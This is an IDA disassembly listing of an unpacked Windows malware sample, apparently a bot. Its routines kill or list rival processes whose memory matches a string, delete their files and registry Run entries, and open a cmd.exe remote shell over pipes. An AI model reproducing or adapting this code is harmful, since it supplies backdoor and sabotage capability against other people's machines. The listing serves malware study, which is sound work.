; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 5A009F5E388364AC410979422E3EFDFE ; File Name : u:\work\5a009f5e388364ac410979422e3efdfe_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00020000 ( 131072.) ; Section size in file : 00020000 ( 131072.) ; Offset to raw data for section: 00001000 ; Flags C0000020: Text Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _data segment para public 'CODE' use32 assume cs:_data ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401146+31p ; sub_401146+43p ... var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = byte ptr -260h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 268h and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40101A ; --------------------------------------------------------------------------- loc_401013: ; CODE XREF: sub_401000+13Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40101A: ; CODE XREF: sub_401000+11j mov eax, [ebp+var_4] cmp off_418000[eax*4], 0 jz loc_401141 mov eax, [ebp+var_4] push off_418000[eax*4] lea eax, [ebp+var_260] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_260] push eax call sub_4105FB pop ecx lea eax, [ebp+var_110] push eax push 3 push 0 lea eax, [ebp+var_260] push eax push [ebp+arg_0] call dword_417008 ; RegOpenKeyExA and [ebp+var_220], 0 jmp short loc_401081 ; --------------------------------------------------------------------------- loc_401074: ; CODE XREF: sub_401000:loc_40112Bj mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_401081: ; CODE XREF: sub_401000+72j mov [ebp+var_21C], 104h mov [ebp+var_224], 104h lea eax, [ebp+var_224] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_114] push eax push 0 lea eax, [ebp+var_21C] push eax lea eax, [ebp+var_218] push eax push [ebp+var_220] push [ebp+var_110] call dword_417000 ; RegEnumValueA mov [ebp+var_264], eax cmp [ebp+var_264], 0 jz short loc_4010DD jmp short loc_401130 ; --------------------------------------------------------------------------- loc_4010DD: ; CODE XREF: sub_401000+D9j cmp [ebp+var_114], 1 jnz short loc_40112B push [ebp+arg_4] push [ebp+var_224] lea eax, [ebp+var_10C] push eax call sub_407ACA add esp, 0Ch mov [ebp+var_268], eax cmp [ebp+var_268], 0 jz short loc_40112B lea eax, [ebp+var_218] push eax push [ebp+var_110] call dword_417004 ; RegDeleteValueA test eax, eax jnz short loc_40112B mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40112B: ; CODE XREF: sub_401000+E4j ; sub_401000+10Bj ... jmp loc_401074 ; --------------------------------------------------------------------------- loc_401130: ; CODE XREF: sub_401000+DBj push [ebp+var_110] call dword_417028 ; RegCloseKey jmp loc_401013 ; --------------------------------------------------------------------------- loc_401141: ; CODE XREF: sub_401000+25j mov eax, [ebp+var_8] leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401146 proc near ; CODE XREF: sub_401244+459p ; sub_40A9CF+A72p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push 80h push [ebp+arg_0] call dword_4170A8 ; SetFileAttributesA test eax, eax jnz short loc_401166 jmp locret_401242 ; --------------------------------------------------------------------------- loc_401166: ; CODE XREF: sub_401146+19j push [ebp+arg_0] call dword_4170AC ; DeleteFileA push [ebp+arg_0] push 80000001h call sub_401000 pop ecx pop ecx mov [ebp+var_4], eax push [ebp+arg_0] push 80000002h call sub_401000 pop ecx pop ecx mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz locret_401242 push 104h push [ebp+arg_0] lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_108] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_10C], eax jmp short loc_4011DB ; --------------------------------------------------------------------------- loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj mov eax, [ebp+var_10C] dec eax mov [ebp+var_10C], eax loc_4011DB: ; CODE XREF: sub_401146+86j cmp [ebp+var_10C], 0 jz short loc_40121C mov eax, [ebp+arg_0] add eax, [ebp+var_10C] movsx eax, byte ptr [eax-1] cmp eax, 5Ch jnz short loc_40121A push 104h mov eax, [ebp+var_10C] lea eax, [ebp+eax+var_108] push eax lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch jmp short loc_40121C ; --------------------------------------------------------------------------- loc_40121A: ; CODE XREF: sub_401146+AEj jmp short loc_4011CE ; --------------------------------------------------------------------------- loc_40121C: ; CODE XREF: sub_401146+9Cj ; sub_401146+D2j lea eax, [ebp+var_108] push eax push 80000001h call sub_401000 pop ecx pop ecx lea eax, [ebp+var_108] push eax push 80000002h call sub_401000 pop ecx pop ecx locret_401242: ; CODE XREF: sub_401146+1Bj ; sub_401146+56j leave retn sub_401146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401244 proc near ; DATA XREF: sub_4017AA+9Do var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_3E0 = dword ptr -3E0h var_3DC = dword ptr -3DCh var_3D8 = dword ptr -3D8h var_3D4 = dword ptr -3D4h var_3D0 = dword ptr -3D0h var_3CC = byte ptr -3CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = byte ptr -2A8h var_2A7 = dword ptr -2A7h var_2A3 = byte ptr -2A3h var_1A3 = byte ptr -1A3h var_B = byte ptr -0Bh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3E8h push esi push edi push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2AC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_40129D lea eax, [ebp+var_2A3] push eax mov eax, [ebp+var_2AC] push dword ptr [eax] push offset dword_418144 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_40129D: ; CODE XREF: sub_401244+34j call sub_406041 mov [ebp+var_2B4], eax cmp [ebp+var_2B4], 0 jnz short loc_4012C4 push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp loc_4017A4 ; --------------------------------------------------------------------------- loc_4012C4: ; CODE XREF: sub_401244+6Bj push 10000h call sub_416B46 ; malloc pop ecx mov [ebp+var_2B8], eax and [ebp+var_2BC], 0 and [ebp+var_2B0], 0 jmp short loc_4012F2 ; --------------------------------------------------------------------------- loc_4012E5: ; CODE XREF: sub_401244+E2j ; sub_401244+12Bj ... mov eax, [ebp+var_2B0] inc eax mov [ebp+var_2B0], eax loc_4012F2: ; CODE XREF: sub_401244+9Fj mov eax, [ebp+var_2B4] mov ecx, [ebp+var_2B0] cmp ecx, [eax] jge loc_401710 mov esi, [ebp+var_2B0] imul esi, 114h mov eax, [ebp+var_2B4] mov edi, [eax+4] call dword_4170E8 ; GetCurrentProcessId cmp [edi+esi], eax jnz short loc_401328 jmp short loc_4012E5 ; --------------------------------------------------------------------------- loc_401328: ; CODE XREF: sub_401244+E0j push 104h lea eax, [ebp+var_3CC] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_3CC] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_401374 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401374: ; CODE XREF: sub_401244+129j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 movzx eax, [ebp+var_2A8] neg eax sbb eax, eax add eax, 11h push eax call dword_417094 ; OpenProcess mov [ebp+var_2C4], eax cmp [ebp+var_2C4], 0 jnz short loc_4013B7 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_4013B7: ; CODE XREF: sub_401244+16Cj and [ebp+var_2C0], 0 and [ebp+var_2C8], 0 loc_4013C5: ; CODE XREF: sub_401244:loc_4016FAj mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] cmp eax, 10000h jbe short loc_4013F7 mov [ebp+var_3E8], 10000h jmp short loc_40141C ; --------------------------------------------------------------------------- loc_4013F7: ; CODE XREF: sub_401244+1A5j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] mov [ebp+var_3E8], eax loc_40141C: ; CODE XREF: sub_401244+1B1j mov eax, [ebp+var_3E8] mov [ebp+var_3D0], eax lea eax, [ebp+var_2C8] push eax push [ebp+var_3D0] push [ebp+var_2B8] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+4] add eax, [ebp+var_2C0] push eax push [ebp+var_2C4] call dword_417098 ; ReadProcessMemory mov [ebp+var_3D4], eax cmp [ebp+var_3D4], 0 jz loc_4016C5 cmp [ebp+var_2C8], 0 jz loc_4016C5 and [ebp+var_3D8], 0 and [ebp+var_3DC], 0 loc_401495: ; DATA XREF: .data:0041AD00o jmp short loc_4014A4 ; --------------------------------------------------------------------------- loc_401497: ; CODE XREF: sub_401244:loc_4015DBj mov eax, [ebp+var_3DC] inc eax mov [ebp+var_3DC], eax loc_4014A4: ; CODE XREF: sub_401244:loc_401495j mov eax, [ebp+var_2C8] sub eax, [ebp+var_2A7] cmp [ebp+var_3DC], eax ja loc_4015E0 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] add ecx, 20h cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] sub ecx, 20h cmp eax, ecx jnz loc_4015DB loc_401514: ; CODE XREF: sub_401244+290j ; sub_401244+2ADj mov [ebp+var_3E0], 1 jmp short loc_40152D ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: sub_401244:loc_4015D6j mov eax, [ebp+var_3E0] inc eax mov [ebp+var_3E0], eax loc_40152D: ; CODE XREF: sub_401244+2DAj mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] test eax, eax jnz short loc_401556 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] mov [ebp+var_3D8], eax jmp loc_40179F ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: sub_401244+2F9j mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] add ecx, 20h cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] sub ecx, 20h cmp eax, ecx jz short loc_4015D6 jmp short loc_4015DB ; --------------------------------------------------------------------------- loc_4015D6: ; CODE XREF: sub_401244+338j ; sub_401244+363j ... jmp loc_401520 ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: sub_401244+2CAj ; sub_401244+390j jmp loc_401497 ; --------------------------------------------------------------------------- loc_4015E0: ; CODE XREF: sub_401244+272j ; sub_401244:loc_40179Fj cmp [ebp+var_3D8], 0 jz loc_4016C5 mov eax, [ebp+var_2BC] inc eax mov [ebp+var_2BC], eax movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401675 push 3E8h call dword_41709C ; Sleep mov al, [ebp+var_B] mov [ebp+var_3E4], al and [ebp+var_B], 0 mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_2A3] push eax push offset dword_41811C lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 14h mov al, [ebp+var_3E4] mov [ebp+var_B], al jmp short loc_4016A3 ; --------------------------------------------------------------------------- loc_401675: ; CODE XREF: sub_401244+3BFj push 0 push [ebp+var_2C4] call dword_4170A0 ; TerminateProcess mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_401146 pop ecx loc_4016A3: ; CODE XREF: sub_401244+42Fj mov eax, [ebp+var_2AC] cmp dword ptr [eax+4], 0 jz short loc_4016C0 push [ebp+var_2C4] call dword_4170A4 ; CloseHandle jmp loc_40179A ; --------------------------------------------------------------------------- loc_4016C0: ; CODE XREF: sub_401244+469j jmp loc_401795 ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: sub_401244+230j ; sub_401244+23Dj ... mov eax, [ebp+var_2C0] add eax, [ebp+var_3D0] mov [ebp+var_2C0], eax mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov edx, [ebp+var_2C0] cmp edx, [ecx+eax+8] jnz short loc_4016FA jmp short loc_4016FF ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: sub_401244+4B2j jmp loc_4013C5 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: sub_401244+4B4j ; sub_401244:loc_401795j push [ebp+var_2C4] call dword_4170A4 ; CloseHandle jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401710: ; CODE XREF: sub_401244+BCj ; sub_401244:loc_40179Aj push [ebp+var_2B4] call sub_40636E pop ecx push [ebp+var_2B8] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401785 push 3E8h call dword_41709C ; Sleep cmp [ebp+var_2BC], 0 jnz short loc_401764 lea eax, [ebp+var_2A3] push eax push offset dword_4180F8 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 0Ch jmp short loc_401785 ; --------------------------------------------------------------------------- loc_401764: ; CODE XREF: sub_401244+501j lea eax, [ebp+var_2A3] push eax push [ebp+var_2BC] push offset dword_4180CC lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_401785: ; CODE XREF: sub_401244+4EDj ; sub_401244+51Ej push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp short loc_4017A4 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: sub_401244:loc_4016C0j jmp loc_4016FF ; --------------------------------------------------------------------------- loc_40179A: ; CODE XREF: sub_401244+477j jmp loc_401710 ; --------------------------------------------------------------------------- loc_40179F: ; CODE XREF: sub_401244+30Dj jmp loc_4015E0 ; --------------------------------------------------------------------------- loc_4017A4: ; CODE XREF: sub_401244+7Bj ; sub_401244+54Fj pop edi pop esi leave retn 4 sub_401244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p ; sub_40A9CF+AD2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_4017C2 push [ebp+arg_4] call sub_416B40 ; strlen pop ecx test eax, eax jnz short loc_4017C7 loc_4017C2: ; CODE XREF: sub_4017AA+9j jmp locret_401854 ; --------------------------------------------------------------------------- loc_4017C7: ; CODE XREF: sub_4017AA+16j push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4017DD jmp short locret_401854 ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_4017AA+2Fj mov eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax+4], cl push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_4] mov [ecx+5], eax push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 9 push eax call sub_416B58 ; strncpy add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 109h push eax call sub_405F67 pop ecx pop ecx movzx eax, [ebp+arg_8] test eax, eax jz short loc_401830 mov [ebp+var_8], offset aListing ; "Listing" jmp short loc_401837 ; --------------------------------------------------------------------------- loc_401830: ; CODE XREF: sub_4017AA+7Bj mov [ebp+var_8], offset aKilling ; "Killing" loc_401837: ; CODE XREF: sub_4017AA+84j push [ebp+arg_4] push [ebp+var_8] push offset dword_418174 push 0 push [ebp+var_4] push offset sub_401244 call sub_4095A4 add esp, 18h locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j ; sub_4017AA+31j leave retn sub_4017AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401856 proc near ; CODE XREF: sub_401981+A8p ; sub_401981+E1p ... push ebp mov ebp, esp cmp dword_41DDF4, 0FFFFFFFFh jz short loc_40186E push dword_41DDF4 call dword_4170A4 ; CloseHandle loc_40186E: ; CODE XREF: sub_401856+Aj cmp dword_41DDE8, 0FFFFFFFFh jz short loc_401883 push dword_41DDE8 call dword_4170A4 ; CloseHandle loc_401883: ; CODE XREF: sub_401856+1Fj cmp dword_41DDEC, 0FFFFFFFFh jz short loc_401898 push dword_41DDEC call dword_4170A4 ; CloseHandle loc_401898: ; CODE XREF: sub_401856+34j cmp dword_41DDF0, 0FFFFFFFFh jz short loc_4018AD push dword_41DDF0 call dword_4170A4 ; CloseHandle loc_4018AD: ; CODE XREF: sub_401856+49j pop ebp retn sub_401856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018AF proc near ; CODE XREF: sub_401981+28Ap ; sub_401981+395p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jnz short loc_4018D4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401922 loc_4018D4: ; CODE XREF: sub_4018AF+15j ; sub_4018AF:loc_401920j push 32h call dword_41709C ; Sleep mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jz short loc_4018FE call sub_416B64 ; clock sub eax, dword_41DDFC cmp eax, 1F4h jb short loc_4018FE jmp short loc_401922 ; --------------------------------------------------------------------------- loc_4018FE: ; CODE XREF: sub_4018AF+39j ; sub_4018AF+4Bj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401920 call sub_416B64 ; clock sub eax, dword_41DDFC cmp eax, 0FAh jb short loc_401920 jmp short loc_401922 ; --------------------------------------------------------------------------- loc_401920: ; CODE XREF: sub_4018AF+5Bj ; sub_4018AF+6Dj jmp short loc_4018D4 ; --------------------------------------------------------------------------- loc_401922: ; CODE XREF: sub_4018AF+23j ; sub_4018AF+4Dj ... call sub_416B64 ; clock mov dword_41DDFC, eax mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_401942 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_401957 loc_401942: ; CODE XREF: sub_4018AF+86j push offset dword_4181A4 lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx jmp short loc_40196E ; --------------------------------------------------------------------------- loc_401957: ; CODE XREF: sub_4018AF+91j push 200h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_407A56 add esp, 0Ch loc_40196E: ; CODE XREF: sub_4018AF+A6j lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_40D53F pop ecx pop ecx leave retn sub_4018AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401981 proc near ; DATA XREF: sub_401D6E+88o var_730 = dword ptr -730h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_714 = dword ptr -714h var_510 = byte ptr -510h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_334 = dword ptr -334h var_330 = word ptr -330h var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = byte ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = byte ptr -30Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 730h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_714] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock sub eax, 1F4h mov dword_41DDFC, eax push 0 lea eax, [ebp+var_30C] push eax push 104h push 0 push offset aCmd_exe ; "cmd.exe" push 0 call dword_41706C ; SearchPathA test eax, eax jnz short loc_4019ED push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_4019ED: ; CODE XREF: sub_401981+57j mov [ebp+var_318], 0Ch mov [ebp+var_310], 1 and [ebp+var_314], 0 push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_368] push eax lea eax, [ebp+var_364] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A41 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A41: ; CODE XREF: sub_401981+A6j push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_728] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A7A call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A7A: ; CODE XREF: sub_401981+DFj push 3 push 0 push 0 push offset dword_41DDF0 call dword_417074 ; GetCurrentProcess push eax push [ebp+var_36C] call dword_417074 ; GetCurrentProcess push eax call dword_4170F0 ; DuplicateHandle test eax, eax jnz short loc_401ABB call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: sub_401981+120j push 10h push 0 lea eax, [ebp+var_724] push eax call sub_416B6A ; memset add esp, 0Ch push 44h push 0 lea eax, [ebp+var_360] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_360], 44h mov [ebp+var_334], 101h and [ebp+var_330], 0 mov eax, [ebp+var_728] mov [ebp+var_328], eax mov eax, [ebp+var_368] mov [ebp+var_324], eax mov eax, [ebp+var_368] mov [ebp+var_320], eax lea eax, [ebp+var_724] push eax lea eax, [ebp+var_360] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset byte_41DE00 lea eax, [ebp+var_30C] push eax call dword_41707C ; CreateProcessA test eax, eax jnz short loc_401B69 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401B69: ; CODE XREF: sub_401981+1CEj push [ebp+var_728] call dword_4170A4 ; CloseHandle mov eax, [ebp+var_364] mov dword_41DDF4, eax mov eax, [ebp+var_36C] mov dword_41DDE8, eax mov eax, [ebp+var_724] mov dword_41DDEC, eax push [ebp+var_720] call dword_4170A4 ; CloseHandle and [ebp+var_4], 0 and [ebp+var_208], 0 loc_401BAD: ; CODE XREF: sub_401981+2E9j ; sub_401981+39Cj mov eax, [ebp+var_714] cmp dword ptr [eax+4], 0 jz short loc_401BBE jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401BBE: ; CODE XREF: sub_401981+236j and [ebp+var_208], 0 push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 push 0 lea eax, [ebp+var_4] push eax push 200h lea eax, [ebp+var_204] push eax push dword_41DDF4 call dword_417080 ; PeekNamedPipe test eax, eax jnz short loc_401C17 push offset aCouldNotReadDa ; "Could not read data from process." lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C17: ; CODE XREF: sub_401981+27Cj cmp [ebp+var_4], 0 jnz short loc_401C6F mov [ebp+var_730], 103h lea eax, [ebp+var_730] push eax push dword_41DDEC call dword_417084 ; GetExitCodeProcess test eax, eax jz short loc_401C62 cmp [ebp+var_730], 103h jz short loc_401C62 push offset aCmd_exeProcess ; "Cmd.exe process has terminated." lea eax, [ebp+var_510] push eax call sub_40D53F pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C62: ; CODE XREF: sub_401981+2BBj ; sub_401981+2C7j push 0Ah call dword_41709C ; Sleep jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401C6F: ; CODE XREF: sub_401981+29Aj and [ebp+var_72C], 0 jmp short loc_401C85 ; --------------------------------------------------------------------------- loc_401C78: ; CODE XREF: sub_401981:loc_401CAFj mov eax, [ebp+var_72C] inc eax mov [ebp+var_72C], eax loc_401C85: ; CODE XREF: sub_401981+2F5j mov eax, [ebp+var_72C] cmp eax, [ebp+var_4] jnb short loc_401CB1 mov eax, [ebp+var_72C] movsx eax, [ebp+eax+var_204] cmp eax, 0Ah jnz short loc_401CAF mov [ebp+var_208], 1 jmp short loc_401CB1 ; --------------------------------------------------------------------------- loc_401CAF: ; CODE XREF: sub_401981+320j jmp short loc_401C78 ; --------------------------------------------------------------------------- loc_401CB1: ; CODE XREF: sub_401981+30Dj ; sub_401981+32Cj cmp [ebp+var_208], 0 jz short loc_401CC6 mov eax, [ebp+var_72C] inc eax mov [ebp+var_4], eax jmp short loc_401CCD ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401981+337j mov [ebp+var_4], 200h loc_401CCD: ; CODE XREF: sub_401981+343j push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 lea eax, [ebp+var_31C] push eax push [ebp+var_4] lea eax, [ebp+var_204] push eax push dword_41DDF4 call dword_417088 ; ReadFile test eax, eax jnz short loc_401D08 jmp short loc_401D22 ; --------------------------------------------------------------------------- loc_401D08: ; CODE XREF: sub_401981+383j lea eax, [ebp+var_204] push eax lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401D22: ; CODE XREF: sub_401981+238j ; sub_401981+291j ... call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax locret_401D35: ; CODE XREF: sub_401981+67j ; sub_401981+BBj ... leave retn 4 sub_401981 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push eax push [ebp+var_4] push [ebp+arg_0] push dword_41DDF0 call dword_417068 ; WriteFile test eax, eax jnz short loc_401D69 xor eax, eax jmp short locret_401D6C ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401D39+2Aj push 1 pop eax locret_401D6C: ; CODE XREF: sub_401D39+2Ej leave retn sub_401D39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_401DA6 cmp [ebp+arg_4], 0 jnz short loc_401D8B 